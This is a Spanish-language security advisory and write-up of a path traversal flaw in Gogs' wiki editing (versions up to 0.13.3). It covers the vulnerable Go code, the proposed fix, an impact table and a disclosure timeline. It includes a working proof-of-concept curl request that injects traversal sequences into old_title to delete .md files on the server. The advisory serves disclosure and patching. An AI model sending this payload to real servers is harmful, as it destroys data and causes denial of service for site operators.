
Eliminación arbitraria de archivos en Gogs mediante Path Traversal en Wiki
Severidad: Alta (CVSS 7.5)
Software Afectado: Gogs <= 0.13.3
Parcheado en: 0.13.4, 0.14.0+dev
Aviso: GHSA-jp7c-wj6q-3qf2
Parche: gogs/gogs#8099
Durante una auditoría de seguridad de Gogs (un popular servicio Git autoalojado escrito en Go), encontré una vulnerabilidad de path traversal en la función updateWikiPage. Permite a un usuario autenticado con acceso de escritura al wiki eliminar archivos arbitrarios en el servidor inyectando secuencias de path traversal en el parámetro old_title del formulario de edición del wiki.
La vulnerabilidad es un defecto de sanitización asimétrica en internal/database/wiki.go. Cuando se actualiza una página del wiki, la función maneja dos parámetros de título de forma diferente:
| Parámetro | ¿Sanitizado? | Utilizado en |
|---|---|---|
title (nuevo nombre) | Sí — mediante ToWikiPageName() | path.Join() para la creación del archivo |
oldTitle (nombre anterior) | No | path.Join() + os.Remove() |
// internal/database/wiki.go
// Línea 105: El nuevo título SÍ se sanitiza
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")
// Líneas 113-115: El título antiguo NO se sanitiza antes de os.Remove()
} else {
os.Remove(path.Join(localPath, oldTitle+".md")) // ← VULNERABLE
}
El valor de oldTitle fluye directamente desde la entrada del formulario controlada por el usuario a través del manejador de ruta hasta os.Remove() sin ninguna sanitización de ruta.
Entrada del Usuario (Formulario) Manejador de Ruta Función de Base de Datos
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐
│ f.OldTitle │──────────────>│ EditWikiPost() │──────────>│ updateWikiPage() │
│ (sin sanitizar) │ │ wiki.go:246 │ │ │
└─────────────────┘ │ │ │ Línea 114: │
│ ¡Sin sanitización! │ │ os.Remove(path.Join( │
│ │ │ localPath, │
└─────────────────────┘ │ oldTitle+".md")) │
└──────────────────────────┘
Requisitos: Usuario autenticado con acceso de escritura al wiki de cualquier repositorio.
/repo/wiki/editold_title para incluir secuencias de path traversal (ej., ../../../../tmp/target_file)# Paso 1: Autentícate y crea/edita una página del wiki
# Paso 2: Intercepta la solicitud POST e inyecta traversal en old_title
curl -X POST "https://gogs.ejemplo.com/usuario/repo/wiki/TestPage?action=_edit" \
-H "Cookie: i_like_gogs=<session_cookie>" \
-d "old_title=../../../../../../../tmp/archivo_objetivo" \
-d "title=TestPage" \
-d "content=test" \
-d "message=test"
# Resultado: /tmp/archivo_objetivo.md se elimina del servidor
La extensión .md se agrega automáticamente. Cualquier archivo que termine en .md sobre el cual el proceso de Gogs tenga permiso de escritura puede ser eliminado.
| Impacto | Descripción |
|---|---|
| Eliminación Arbitraria de Archivos | Elimina cualquier archivo .md al que el proceso de Gogs pueda escribir |
| Denegación de Servicio | Remueve archivos críticos de configuración o datos |
| Pérdida de Datos | Destruye páginas wiki de otros usuarios, documentación o archivos del repositorio |
| Posible Escalada | En combinación con otras vulnerabilidades, podría conducir a un mayor compromiso |
Aplica la misma sanitización ToWikiPageName a oldTitle que ya se aplica a title:
func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
// ... código existente ...
title = ToWikiPageName(title)
+ // Sanitizar oldTitle para evitar path traversal
+ if oldTitle != "" {
+ oldTitle = ToWikiPageName(oldTitle)
+ }
filename := path.Join(localPath, title+".md")
// ...
}
Propuse esta solución durante la divulgación y los mantenedores de Gogs la implementaron en PR #8099.
| Fecha | Evento |
|---|---|
| 2025-12-13 | Vulnerabilidad descubierta durante una auditoría de seguridad |
| 2025-12-13 | Aviso enviado a través de GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2) |
| 2026-01-20 | Seguimiento con los mantenedores de Gogs |
| 2026-01-20 | El mantenedor reconoció la vulnerabilidad |
| 2026-01-22 | Parche fusionado (#8099) |
| 2026-01-22 | CVE-2026-24135 asignado por GitHub |
| 2026-02-06 | Divulgación pública |